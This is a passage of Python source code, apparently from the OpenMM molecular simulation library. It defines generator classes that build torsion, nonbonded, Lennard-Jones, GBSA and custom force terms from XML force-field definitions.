element.findall('Improper'):\n            if 'ordering' in element.attrib:\n                generator.registerImproperTorsion(torsion.attrib, element.attrib['ordering'])\n            else:\n                generator.registerImproperTorsion(torsion.attrib)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        existing = [f for f in sys.getForces() if type(f) == mm.PeriodicTorsionForce]\n        if len(existing) == 0:\n            force = mm.PeriodicTorsionForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n        wildcard = self.ff._atomClasses['']\n        proper_cache = {}\n        for torsion in data.propers:\n            type1, type2, type3, type4 = [data.atomType[data.atoms[torsion[i]]] for i in range(4)]\n            sig = (type1, type2, type3, type4)\n            sig = frozenset((sig, sig[::-1]))\n            match = proper_cache.get(sig, None)\n            if match == -1:\n                continue\n            if match is None:\n                for index in self.propersForAtomType[type2]:\n                    tordef = self.proper[index]\n                    types1 = tordef.types1\n                    types2 = tordef.types2\n                    types3 = tordef.types3\n                    types4 = tordef.types4\n                    if (type2 in types2 and type3 in types3 and type4 in types4 and type1 in types1) or (type2 in types3 and type3 in types2 and type4 in types1 and type1 in types4):\n                        hasWildcard = (wildcard in (types1, types2, types3, types4))\n                        if match is None or not hasWildcard: # Prefer specific definitions over ones with wildcards\n                            match = tordef\n                        if not hasWildcard:\n                            break\n                if match is None:\n                    proper_cache[sig] = -1\n                else:\n                    proper_cache[sig] = match\n            if match is not None:\n                for i in range(len(match.phase)):\n                    if match.k[i] != 0:\n                        force.addTorsion(torsion[0], torsion[1], torsion[2], torsion[3], match.periodicity[i], match.phase[i], match.k[i])\n        impr_cache = {}\n        for torsion in data.impropers:\n            t1, t2, t3, t4 = [data.atomType[data.atoms[torsion[i]]] for i in range(4)]\n            sig = (t1, t2, t3, t4)\n            match = impr_cache.get(sig, None)\n            if match == -1:\n                # Previously checked, and doesn't appear in the database\n                continue\n            elif match:\n                i1, i2, i3, i4, tordef = match\n                a1, a2, a3, a4 = (torsion[i] for i in (i1, i2, i3, i4))\n                match = (a1, a2, a3, a4, tordef)\n            if match is None:\n                match = _matchImproper(data, torsion, self)\n                if match is not None:\n                    order = match[:4]\n                    i1, i2, i3, i4 = tuple(torsion.index(a) for a in order)\n                    impr_cache[sig] = (i1, i2, i3, i4, match[-1])\n                else:\n                    impr_cache[sig] = -1\n            if match is not None:\n                (a1, a2, a3, a4, tordef) = match\n                for i in range(len(tordef.phase)):\n                    if tordef.k[i] != 0:\n                        if tordef.ordering == 'smirnoff':\n                            # Add all torsions in trefoil\n                            force.addTorsion(a1, a2, a3, a4, tordef.periodicity[i], tordef.phase[i], tordef.k[i])\n                            force.addTorsion(a1, a3, a4, a2, tordef.periodicity[i], tordef.phase[i], tordef.k[i])\n                            force.addTorsion(a1, a4, a2, a3, tordef.periodicity[i], tordef.phase[i], tordef.k[i])\n                        else:\n                            force.addTorsion(a1, a2, a3, a4, tordef.periodicity[i], tordef.phase[i], tordef.k[i])\nparsers[\"PeriodicTorsionForce\"] = PeriodicTorsionGenerator.parseElement\n\n\n## @private\nclass RBTorsion(object):\n    \"\"\"An RBTorsion records the information for a Ryckaert-Bellemans torsion definition.\"\"\"\n\n    def __init__(self, types, c, ordering='charmm'):\n        self.types1 = types[0]\n        self.types2 = types[1]\n        self.types3 = types[2]\n        self.types4 = types[3]\n        self.c = c\n        if ordering in ['default', 'charmm', 'amber']:\n            self.ordering = ordering\n        else:\n            raise ValueError('Illegal ordering type %s for RBTorsion (%s,%s,%s,%s)' % (ordering, types[0], types[1], types[2], types[3]))\n\n## @private\nclass RBTorsionGenerator(object):\n    \"\"\"An RBTorsionGenerator constructs an RBTorsionForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.proper = []\n        self.improper = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, RBTorsionGenerator)]\n        if len(existing) == 0:\n            generator = RBTorsionGenerator(ff)\n            ff.registerGenerator(generator)\n        else:\n            generator = existing[0]\n        for torsion in element.findall('Proper'):\n            types = ff._findAtomTypes(torsion.attrib, 4)\n            if None not in types:\n                generator.proper.append(RBTorsion(types, [float(torsion.attrib['c'+str(i)]) for i in range(6)]))\n        for torsion in element.findall('Improper'):\n            types = ff._findAtomTypes(torsion.attrib, 4)\n            if None not in types:\n                if 'ordering' in element.attrib:\n                    generator.improper.append(RBTorsion(types, [float(torsion.attrib['c'+str(i)]) for i in range(6)], element.attrib['ordering']))\n                else:\n                    generator.improper.append(RBTorsion(types, [float(torsion.attrib['c'+str(i)]) for i in range(6)]))\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        existing = [f for f in sys.getForces() if type(f) == mm.RBTorsionForce]\n        if len(existing) == 0:\n            force = mm.RBTorsionForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n        wildcard = self.ff._atomClasses['']\n        for torsion in data.propers:\n            type1 = data.atomType[data.atoms[torsion[0]]]\n            type2 = data.atomType[data.atoms[torsion[1]]]\n            type3 = data.atomType[data.atoms[torsion[2]]]\n            type4 = data.atomType[data.atoms[torsion[3]]]\n            match = None\n            for tordef in self.proper:\n                types1 = tordef.types1\n                types2 = tordef.types2\n                types3 = tordef.types3\n                types4 = tordef.types4\n                if (type2 in types2 and type3 in types3 and type4 in types4 and type1 in types1) or (type2 in types3 and type3 in types2 and type4 in types1 and type1 in types4):\n                    hasWildcard = (wildcard in (types1, types2, types3, types4))\n                    if match is None or not hasWildcard: # Prefer specific definitions over ones with wildcards\n                        match = tordef\n                    if not hasWildcard:\n                        break\n            if match is not None:\n                force.addTorsion(torsion[0], torsion[1], torsion[2], torsion[3], match.c[0], match.c[1], match.c[2], match.c[3], match.c[4], match.c[5])\n        for torsion in data.impropers:\n            match = _matchImproper(data, torsion, self)\n            if match is not None:\n                (a1, a2, a3, a4, tordef) = match\n                force.addTorsion(a1, a2, a3, a4, tordef.c[0], tordef.c[1], tordef.c[2], tordef.c[3], tordef.c[4], tordef.c[5])\n\nparsers[\"RBTorsionForce\"] = RBTorsionGenerator.parseElement\n\n\n## @private\nclass CMAPTorsion(object):\n    \"\"\"A CMAPTorsion records the information for a CMAP torsion definition.\"\"\"\n\n    def __init__(self, types, map):\n        self.types1 = types[0]\n        self.types2 = types[1]\n        self.types3 = types[2]\n        self.types4 = types[3]\n        self.types5 = types[4]\n        self.map = map\n\n## @private\nclass CMAPTorsionGenerator(object):\n    \"\"\"A CMAPTorsionGenerator constructs a CMAPTorsionForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.torsions = []\n        self.maps = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, CMAPTorsionGenerator)]\n        if len(existing) == 0:\n            generator = CMAPTorsionGenerator(ff)\n            ff.registerGenerator(generator)\n        else:\n            generator = existing[0]\n        for map in element.findall('Map'):\n            values = [float(x) for x in map.text.split()]\n            size = sqrt(len(values))\n            if size*size != len(values):\n                raise ValueError('CMAP must have the same number of elements along each dimension')\n            generator.maps.append(values)\n        for torsion in element.findall('Torsion'):\n            types = ff._findAtomTypes(torsion.attrib, 5)\n            if None not in types:\n                generator.torsions.append(CMAPTorsion(types, int(torsion.attrib['map'])))\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        existing = [f for f in sys.getForces() if type(f) == mm.CMAPTorsionForce]\n        if len(existing) == 0:\n            force = mm.CMAPTorsionForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n        for map in self.maps:\n            force.addMap(int(sqrt(len(map))), map)\n\n        # Find all chains of length 5\n\n        uniqueTorsions = set()\n        for torsion in data.propers:\n            for bond in (data.bonds[x] for x in data.atomBonds[torsion[0]]):\n                if bond.atom1 == torsion[0]:\n                    atom = bond.atom2\n                else:\n                    atom = bond.atom1\n                if atom != torsion[1]:\n                    uniqueTorsions.add((atom, torsion[0], torsion[1], torsion[2], torsion[3]))\n            for bond in (data.bonds[x] for x in data.atomBonds[torsion[3]]):\n                if bond.atom1 == torsion[3]:\n                    atom = bond.atom2\n                else:\n                    atom = bond.atom1\n                if atom != torsion[2]:\n                    uniqueTorsions.add((torsion[0], torsion[1], torsion[2], torsion[3], atom))\n        torsions = sorted(list(uniqueTorsions))\n        wildcard = self.ff._atomClasses['']\n        for torsion in torsions:\n            type1 = data.atomType[data.atoms[torsion[0]]]\n            type2 = data.atomType[data.atoms[torsion[1]]]\n            type3 = data.atomType[data.atoms[torsion[2]]]\n            type4 = data.atomType[data.atoms[torsion[3]]]\n            type5 = data.atomType[data.atoms[torsion[4]]]\n            match = None\n            for tordef in self.torsions:\n                types1 = tordef.types1\n                types2 = tordef.types2\n                types3 = tordef.types3\n                types4 = tordef.types4\n                types5 = tordef.types5\n                if (type1 in types1 and type2 in types2 and type3 in types3 and type4 in types4 and type5 in types5) or (type1 in types5 and type2 in types4 and type3 in types3 and type4 in types2 and type5 in types1):\n                    hasWildcard = (wildcard in (types1, types2, types3, types4, types5))\n                    if match is None or not hasWildcard: # Prefer specific definitions over ones with wildcards\n                        match = tordef\n                    if not hasWildcard:\n                        break\n            if match is not None:\n                force.addTorsion(match.map, torsion[0], torsion[1], torsion[2], torsion[3], torsion[1], torsion[2], torsion[3], torsion[4])\n\nparsers[\"CMAPTorsionForce\"] = CMAPTorsionGenerator.parseElement\n\n\n## @private\nclass NonbondedGenerator(object):\n    \"\"\"A NonbondedGenerator constructs a NonbondedForce.\"\"\"\n\n    SCALETOL = 1e-5\n\n    def __init__(self, forcefield, coulomb14scale, lj14scale, useDispersionCorrection):\n        self.ff = forcefield\n        self.coulomb14scale = coulomb14scale\n        self.lj14scale = lj14scale\n        self.useDispersionCorrection = useDispersionCorrection\n        self.params = ForceField._AtomTypeParameters(forcefield, 'NonbondedForce', 'Atom', ('charge', 'sigma', 'epsilon'))\n\n    def registerAtom(self, parameters):\n        self.params.registerAtom(parameters)\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, NonbondedGenerator)]\n        if 'useDispersionCorrection' in element.attrib:\n            useDispersionCorrection = bool(eval(element.attrib.get('useDispersionCorrection')))\n        else:\n            useDispersionCorrection = None\n        if len(existing) == 0:\n            generator = NonbondedGenerator(\n                ff,\n                float(element.attrib['coulomb14scale']),\n                float(element.attrib['lj14scale']),\n                useDispersionCorrection\n            )\n            ff.registerGenerator(generator)\n        else:\n            # Multiple <NonbondedForce> tags were found, probably in different files.  Simply add more types to the existing one.\n            generator = existing[0]\n            if (abs(generator.coulomb14scale - float(element.attrib['coulomb14scale'])) > NonbondedGenerator.SCALETOL\n                or abs(generator.lj14scale - float(element.attrib['lj14scale'])) > NonbondedGenerator.SCALETOL\n            ):\n                raise ValueError('Found multiple NonbondedForce tags with different 1-4 scales')\n            if (\n                    generator.useDispersionCorrection is not None\n                    and useDispersionCorrection is not None\n                    and generator.useDispersionCorrection != useDispersionCorrection\n            ):\n                raise ValueError('Found multiple NonbondedForce tags with different useDispersionCorrection settings.')\n        generator.params.parseDefinitions(element)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        methodMap = {NoCutoff:mm.NonbondedForce.NoCutoff,\n                     CutoffNonPeriodic:mm.NonbondedForce.CutoffNonPeriodic,\n                     CutoffPeriodic:mm.NonbondedForce.CutoffPeriodic,\n                     Ewald:mm.NonbondedForce.Ewald,\n                     PME:mm.NonbondedForce.PME,\n                     LJPME:mm.NonbondedForce.LJPME}\n        if nonbondedMethod not in methodMap:\n            raise ValueError('Illegal nonbonded method for NonbondedForce')\n        force = mm.NonbondedForce()\n        for atom in data.atoms:\n            values = self.params.getAtomParameters(atom, data)\n            force.addParticle(values[0], values[1], values[2])\n        force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setCutoffDistance(nonbondedCutoff)\n        if args['switchDistance'] is not None:\n            force.setUseSwitchingFunction(True)\n            force.setSwitchingDistance(args['switchDistance'])\n        if 'ewaldErrorTolerance' in args:\n            force.setEwaldErrorTolerance(args['ewaldErrorTolerance'])\n        if 'useDispersionCorrection' in args:\n            lrc_keyword = bool(args['useDispersionCorrection'])\n            if self.useDispersionCorrection is not None and lrc_keyword != self.useDispersionCorrection:\n                warnings.warn(\n                    \"Conflicting settings for useDispersionCorrection in createSystem() and forcefield file. \"\n                    \"Using the one specified in createSystem().\"\n                )\n            force.setUseDispersionCorrection(lrc_keyword)\n        elif self.useDispersionCorrection is not None:\n            force.setUseDispersionCorrection(self.useDispersionCorrection)\n        else:\n            # by default\n            force.setUseDispersionCorrection(True)\n        sys.addForce(force)\n\n    def postprocessSystem(self, sys, data, args):\n        # Create the exceptions.\n\n        bondIndices = _findBondsForExclusions(data, sys)\n        nonbonded = [f for f in sys.getForces() if isinstance(f, mm.NonbondedForce)][0]\n        nonbonded.createExceptionsFromBonds(bondIndices, self.coulomb14scale, self.lj14scale)\n\nparsers[\"NonbondedForce\"] = NonbondedGenerator.parseElement\n\n\n## @private\nclass LennardJonesGenerator(object):\n    \"\"\"A NBFix generator to construct the L-J force with NBFIX implemented as a lookup table\"\"\"\n\n    def __init__(self, forcefield, lj14scale, useDispersionCorrection):\n        self.ff = forcefield\n        self.nbfixTypes = {}\n        self.lj14scale = lj14scale\n        self.useDispersionCorrection = useDispersionCorrection\n        self.ljTypes = ForceField._AtomTypeParameters(forcefield, 'LennardJonesForce', 'Atom', ('sigma', 'epsilon'))\n\n    def registerNBFIX(self, parameters):\n        types = self.ff._findAtomTypes(parameters, 2)\n        if None not in types:\n            for type1 in types[0]:\n                for type2 in types[1]:\n                    epsilon = _convertParameterToNumber(parameters['epsilon'])\n                    sigma = _convertParameterToNumber(parameters['sigma'])\n                    self.nbfixTypes[(type1, type2)] = [sigma, epsilon]\n                    self.nbfixTypes[(type2, type1)] = [sigma, epsilon]\n\n    def registerLennardJones(self, parameters):\n        self.ljTypes.registerAtom(parameters)\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, LennardJonesGenerator)]\n        if 'useDispersionCorrection' in element.attrib:\n            useDispersionCorrection = bool(eval(element.attrib.get('useDispersionCorrection')))\n        else:\n            useDispersionCorrection = None\n        if len(existing) == 0:\n            generator = LennardJonesGenerator(\n                ff,\n                float(element.attrib['lj14scale']),\n                useDispersionCorrection=useDispersionCorrection\n            )\n            ff.registerGenerator(generator)\n        else:\n            # Multiple <LennardJonesForce> tags were found, probably in different files\n            generator = existing[0]\n            if abs(generator.lj14scale - float(element.attrib['lj14scale'])) > NonbondedGenerator.SCALETOL:\n                raise ValueError('Found multiple LennardJonesForce tags with different 1-4 scales')\n            if (\n                    generator.useDispersionCorrection is not None\n                    and useDispersionCorrection is not None\n                    and generator.useDispersionCorrection != useDispersionCorrection\n            ):\n                raise ValueError('Found multiple LennardJonesForce tags with different useDispersionCorrection settings.')\n        for LJ in element.findall('Atom'):\n            generator.registerLennardJones(LJ.attrib)\n        for Nbfix in element.findall('NBFixPair'):\n            generator.registerNBFIX(Nbfix.attrib)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        # First derive the lookup tables.  We need to include entries for every type\n        # that a) appears in the system and b) has unique parameters.\n\n        nbfixTypeSet = set().union(*self.nbfixTypes)\n        allTypes = set(data.atomType[atom] for atom in data.atoms)\n        mergedTypes = []\n        mergedTypeParams = []\n        paramsToMergedType = {}\n        typeToMergedType = {}\n        for t in allTypes:\n            typeParams = self.ljTypes.paramsForType[t]\n            params = (typeParams['sigma'], typeParams['epsilon'])\n            if t in nbfixTypeSet:\n                # NBFIX types cannot be merged.\n                typeToMergedType[t] = len(mergedTypes)\n                mergedTypes.append(t)\n                mergedTypeParams.append(params)\n            elif params in paramsToMergedType:\n                # We can merge this with another type.\n                typeToMergedType[t] = paramsToMergedType[params]\n            else:\n                # This is a new type.\n                typeToMergedType[t] = len(mergedTypes)\n                paramsToMergedType[params] = len(mergedTypes)\n                mergedTypes.append(t)\n                mergedTypeParams.append(params)\n\n        # Now everything is assigned. Create the A- and B-coefficient arrays\n\n        numLjTypes = len(mergedTypes)\n        acoef = [0]*(numLjTypes*numLjTypes)\n        bcoef = acoef[:]\n        for m in range(numLjTypes):\n            for n in range(numLjTypes):\n                pair = (mergedTypes[m], mergedTypes[n])\n                if pair in self.nbfixTypes:\n                    epsilon = self.nbfixTypes[pair][1]\n                    sigma = self.nbfixTypes[pair][0]\n                    sigma6 = sigma**6\n                    acoef[m+numLjTypes*n] = 4*epsilon*sigma6*sigma6\n                    bcoef[m+numLjTypes*n] = 4*epsilon*sigma6\n                    continue\n                else:\n                    sigma = 0.5*(mergedTypeParams[m][0]+mergedTypeParams[n][0])\n                    sigma6 = sigma**6\n                    epsilon = math.sqrt(mergedTypeParams[m][1]*mergedTypeParams[n][1])\n                    acoef[m+numLjTypes*n] = 4*epsilon*sigma6*sigma6\n                    bcoef[m+numLjTypes*n] = 4*epsilon*sigma6\n\n        self.force = mm.CustomNonbondedForce('acoef(type1, type2)/r^12 - bcoef(type1, type2)/r^6;')\n        self.force.addTabulatedFunction('acoef', mm.Discrete2DFunction(numLjTypes, numLjTypes, acoef))\n        self.force.addTabulatedFunction('bcoef', mm.Discrete2DFunction(numLjTypes, numLjTypes, bcoef))\n        self.force.addPerParticleParameter('type')\n        self.force.setName('LennardJones')\n        if nonbondedMethod in [CutoffPeriodic, Ewald, PME, LJPME]:\n            self.force.setNonbondedMethod(mm.CustomNonbondedForce.CutoffPeriodic)\n        elif nonbondedMethod is NoCutoff:\n            self.force.setNonbondedMethod(mm.CustomNonbondedForce.NoCutoff)\n        elif nonbondedMethod is CutoffNonPeriodic:\n            self.force.setNonbondedMethod(mm.CustomNonbondedForce.CutoffNonPeriodic)\n        else:\n            raise AssertionError('Unrecognized nonbonded method [%s]' % nonbondedMethod)\n        if args['switchDistance'] is not None:\n            self.force.setUseSwitchingFunction(True)\n            self.force.setSwitchingDistance(args['switchDistance'])\n        if 'useDispersionCorrection' in args:\n            lrc_keyword = bool(args['useDispersionCorrection'])\n            if self.useDispersionCorrection is not None and lrc_keyword != self.useDispersionCorrection:\n                warnings.warn(\n                    \"Conflicting settings for useDispersionCorrection in createSystem() and forcefield file. \"\n                    \"Using the one specified in createSystem().\"\n                )\n            self.force.setUseLongRangeCorrection(lrc_keyword)\n        elif self.useDispersionCorrection is not None:\n            self.force.setUseLongRangeCorrection(self.useDispersionCorrection)\n        else:\n            # by default\n            self.force.setUseLongRangeCorrection(True)\n\n        # Add the particles\n\n        for atom in data.atoms:\n            self.force.addParticle((typeToMergedType[data.atomType[atom]],))\n        self.force.setCutoffDistance(nonbondedCutoff)\n        sys.addForce(self.force)\n\n    def postprocessSystem(self, sys, data, args):\n        # Create the exceptions.\n\n        bondIndices = _findBondsForExclusions(data, sys)\n        forceCopy = deepcopy(self.force)\n        forceCopy.createExclusionsFromBonds(bondIndices, 2)\n        self.force.createExclusionsFromBonds(bondIndices, 3)\n        if self.force.getNumExclusions() > forceCopy.getNumExclusions() and self.lj14scale != 0:\n            # We need to create a CustomBondForce and use it to implement the scaled 1-4 interactions.\n\n            bonded = mm.CustomBondForce('%g*epsilon*((sigma/r)^12-(sigma/r)^6)' % (4*self.lj14scale))\n            bonded.addPerBondParameter('sigma')\n            bonded.addPerBondParameter('epsilon')\n            bonded.setName('LennardJones14')\n            sys.addForce(bonded)\n            skip = set(tuple(forceCopy.getExclusionParticles(i)) for i in range(forceCopy.getNumExclusions()))\n            for i in range(self.force.getNumExclusions()):\n                p1,p2 = self.force.getExclusionParticles(i)\n                a1 = data.atoms[p1]\n                a2 = data.atoms[p2]\n                if (p1,p2) not in skip and (p2,p1) not in skip:\n                    type1 = data.atomType[a1]\n                    type2 = data.atomType[a2]\n                    if (type1, type2) in self.nbfixTypes:\n                        sigma, epsilon = self.nbfixTypes[(type1, type2)]\n                    else:\n                        values1 = self.ljTypes.getAtomParameters(a1, data)\n                        values2 = self.ljTypes.getAtomParameters(a2, data)\n                        extra1 = self.ljTypes.getExtraParameters(a1, data)\n                        extra2 = self.ljTypes.getExtraParameters(a2, data)\n                        sigma1 = float(extra1['sigma14']) if 'sigma14' in extra1 else values1[0]\n                        sigma2 = float(extra2['sigma14']) if 'sigma14' in extra2 else values2[0]\n                        epsilon1 = float(extra1['epsilon14']) if 'epsilon14' in extra1 else values1[1]\n                        epsilon2 = float(extra2['epsilon14']) if 'epsilon14' in extra2 else values2[1]\n                        sigma = 0.5*(sigma1+sigma2)\n                        epsilon = sqrt(epsilon1*epsilon2)\n                    bonded.addBond(p1, p2, (sigma, epsilon))\n\nparsers[\"LennardJonesForce\"] = LennardJonesGenerator.parseElement\n\n\n## @private\nclass GBSAOBCGenerator(object):\n    \"\"\"A GBSAOBCGenerator constructs a GBSAOBCForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.params = ForceField._AtomTypeParameters(forcefield, 'GBSAOBCForce', 'Atom', ('charge', 'radius', 'scale'))\n\n    def registerAtom(self, parameters):\n        self.params.registerAtom(parameters)\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, GBSAOBCGenerator)]\n        if len(existing) == 0:\n            generator = GBSAOBCGenerator(ff)\n            ff.registerGenerator(generator)\n        else:\n            # Multiple <GBSAOBCForce> tags were found, probably in different files.  Simply add more types to the existing one.\n            generator = existing[0]\n        generator.params.parseDefinitions(element)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        methodMap = {NoCutoff:mm.GBSAOBCForce.NoCutoff,\n                     CutoffNonPeriodic:mm.GBSAOBCForce.CutoffNonPeriodic,\n                     CutoffPeriodic:mm.GBSAOBCForce.CutoffPeriodic,\n                     Ewald:mm.GBSAOBCForce.CutoffPeriodic,\n                     PME:mm.GBSAOBCForce.CutoffPeriodic,\n                     LJPME:mm.GBSAOBCForce.CutoffPeriodic}\n        if nonbondedMethod not in methodMap:\n            raise ValueError('Illegal nonbonded method for GBSAOBCForce')\n        force = mm.GBSAOBCForce()\n        for atom in data.atoms:\n            values = self.params.getAtomParameters(atom, data)\n            force.addParticle(values[0], values[1], values[2])\n        force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setCutoffDistance(nonbondedCutoff)\n        if 'soluteDielectric' in args:\n            force.setSoluteDielectric(float(args['soluteDielectric']))\n        if 'solventDielectric' in args:\n            force.setSolventDielectric(float(args['solventDielectric']))\n        sys.addForce(force)\n\n    def postprocessSystem(self, sys, data, args):\n        # Disable the reaction field approximation, since it produces bad results when combined with GB.\n\n        for force in sys.getForces():\n            if isinstance(force, mm.NonbondedForce):\n                force.setReactionFieldDielectric(1.0)\n\nparsers[\"GBSAOBCForce\"] = GBSAOBCGenerator.parseElement\n\n\n## @private\nclass CustomBondGenerator(object):\n    \"\"\"A CustomBondGenerator constructs a CustomBondForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.types1 = []\n        self.types2 = []\n        self.globalParams = {}\n        self.perBondParams = []\n        self.paramValues = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        generator = CustomBondGenerator(ff)\n        ff.registerGenerator(generator)\n        generator.energy = element.attrib['energy']\n        for param in element.findall('GlobalParameter'):\n            generator.globalParams[param.attrib['name']] = float(param.attrib['defaultValue'])\n        for param in element.findall('PerBondParameter'):\n            generator.perBondParams.append(param.attrib['name'])\n        for bond in element.findall('Bond'):\n            types = ff._findAtomTypes(bond.attrib, 2)\n            if None not in types:\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.paramValues.append([float(bond.attrib[param]) for param in generator.perBondParams])\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        force = mm.CustomBondForce(self.energy)\n        sys.addForce(force)\n        for param in self.globalParams:\n            force.addGlobalParameter(param, self.globalParams[param])\n        for param in self.perBondParams:\n            force.addPerBondParameter(param)\n        for bond in data.bonds:\n            type1 = data.atomType[data.atoms[bond.atom1]]\n            type2 = data.atomType[data.atoms[bond.atom2]]\n            for i in range(len(self.types1)):\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                if (type1 in types1 and type2 in types2) or (type1 in types2 and type2 in types1):\n                    force.addBond(bond.atom1, bond.atom2, self.paramValues[i])\n                    break\n\nparsers[\"CustomBondForce\"] = CustomBondGenerator.parseElement\n\n\n## @private\nclass CustomAngleGenerator(object):\n    \"\"\"A CustomAngleGenerator constructs a CustomAngleForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n        self.globalParams = {}\n        self.perAngleParams = []\n        self.paramValues = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        generator = CustomAngleGenerator(ff)\n        ff.registerGenerator(generator)\n        generator.energy = element.attrib['energy']\n        for param in element.findall('GlobalParameter'):\n            generator.globalParams[param.attrib['name']] = float(param.attrib['defaultValue'])\n        for param in element.findall('PerAngleParameter'):\n            generator.perAngleParams.append(param.attrib['name'])\n        for angle in element.findall('Angle'):\n            types = ff._findAtomTypes(angle.attrib, 3)\n            if None not in types:\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.types3.append(types[2])\n                generator.paramValues.append([float(angle.attrib[param]) for param in generator.perAngleParams])\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        force = mm.CustomAngleForce(self.energy)\n        sys.addForce(force)\n        for param in self.globalParams:\n            force.addGlobalParameter(param, self.globalParams[param])\n        for param in self.perAngleParams:\n            force.addPerAngleParameter(param)\n        for angle in data.angles:\n            type1 = data.atomType[data.atoms[angle[0]]]\n            type2 = data.atomType[data.atoms[angle[1]]]\n            type3 = data.atomType[data.atoms[angle[2]]]\n            for i in range(len(self.types1)):\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                types3 = self.types3[i]\n                if (type1 in types1 and type2 in types2 and type3 in types3) or (type1 in types3 and type2 in types2 and type3 in types1):\n                    force.addAngle(angle[0], angle[1], angle[2], self.paramValues[i])\n                    break\n\nparsers[\"CustomAngleForce\"] = CustomAngleGenerator.parseElement\n\n\n## @private\nclass CustomTorsion(object):\n    \"\"\"A CustomTorsion records the information for a custom torsion definition.\"\"\"\n\n    def __init__(self, types, paramValues, ordering='charmm'):\n        self.types1 = types[0]\n        self.types2 = types[1]\n        self.types3 = types[2]\n        self.types4 = types[3]\n        self.paramValues = paramValues\n        if ordering in ['default', 'charmm', 'amber']:\n            self.ordering = ordering\n        else:\n            raise ValueError('Illegal ordering type %s for CustomTorsion (%s,%s,%s,%s)' % (ordering, types[0], types[1], types[2], types[3]))\n\n## @private\nclass CustomTorsionGenerator(object):\n    \"\"\"A CustomTorsionGenerator constructs a CustomTorsionForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.proper = []\n        self.improper = []\n        self.globalParams = {}\n        self.perTorsionParams = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        generator = CustomTorsionGenerator(ff)\n        ff.registerGenerator(generator)\n        generator.energy = element.attrib['energy']\n        for param in element.findall('GlobalParameter'):\n            generator.globalParams[param.attrib['name']] = float(param.attrib['defaultValue'])\n        for param in element.findall('PerTorsionParameter'):\n            generator.perTorsionParams.append(param.attrib['name'])\n        for torsion in element.findall('Proper'):\n            types = ff._findAtomTypes(torsion.attrib, 4)\n            if None not in types:\n                generator.proper.append(CustomTorsion(types, [float(torsion.attrib[param]) for param in generator.perTorsionParams]))\n        for torsion in element.findall('Improper'):\n            types = ff._findAtomTypes(torsion.attrib, 4)\n            if None not in types:\n                if 'ordering' in element.attrib:\n                    generator.improper.append(CustomTorsion(types, [float(torsion.attrib[param]) for param in generator.perTorsionParams], element.attrib['ordering']))\n                else:\n                    generator.improper.append(CustomTorsion(types, [float(torsion.attrib[param]) for param in generator.perTorsionParams]))\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        force = mm.CustomTorsionForce(self.energy)\n        sys.addForce(force)\n        for param in self.globalParams:\n            force.addGlobalParameter(param, self.globalParams[param])\n        for param in self.perTorsionParams:\n            force.addPerTorsionParameter(param)\n        wildcard = self.ff._atomClasses['']\n        for torsion in data.propers:\n            type1 = data.atomType[data.atoms[torsion[0]]]\n            type2 = data.atomType[data.atoms[torsion[1]]]\n            type3 = data.atomType[data.atoms[torsion[2]]]\n            type4 = data.atomType[data.atoms[torsion[3]]]\n            match = None\n            for tordef in self.proper:\n                types1 = tordef.types1\n                types2 = tordef.types2\n                types3 = tordef.types3\n                types4 = tordef.types4\n                if (type2 in types2 and type3 in types3 and type4 in types4 and type1 in types1) or (type2 in types3 and type3 in types2 and type4 in types1 and type1 in types4):\n                    hasWildcard = (wildcard in (types1, types2, types3, types4))\n                    if match is None or not hasWildcard: # Prefer specific definitions over ones with wildcards\n                        match = tordef\n                    if not hasWildcard:\n                        break\n            if match is not None:\n                force.addTorsion(torsion[0], torsion[1], torsion[2], torsion[3], match.paramValues)\n        for torsion in data.impropers:\n            match = _matchImproper(data, torsion, self)\n            if match is not None:\n                (a1, a2, a3, a4, tordef) = match\n                force.addTorsion(a1, a2, a3, a4, tordef.paramValues)\n\nparsers[\"CustomTorsionForce\"] = CustomTorsionGenerator.parseElement\n\n\n## @private\nclass CustomNonbondedGenerator(object):\n    \"\"\"A CustomNonbondedGenerator constructs a CustomNonbondedForce.\"\"\"\n\n    def __init__(self, forcefield, energy, bondCutoff):\n        self.ff = forcefield\n        self.energy = energy\n        self.bondCutoff = bondCutoff\n        self.globalParams = {}\n        self.perParticleParams = []\n        self.computedValues = {}\n        self.functions = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        generator = CustomNonbondedGenerator(ff, element.attrib['energy'], 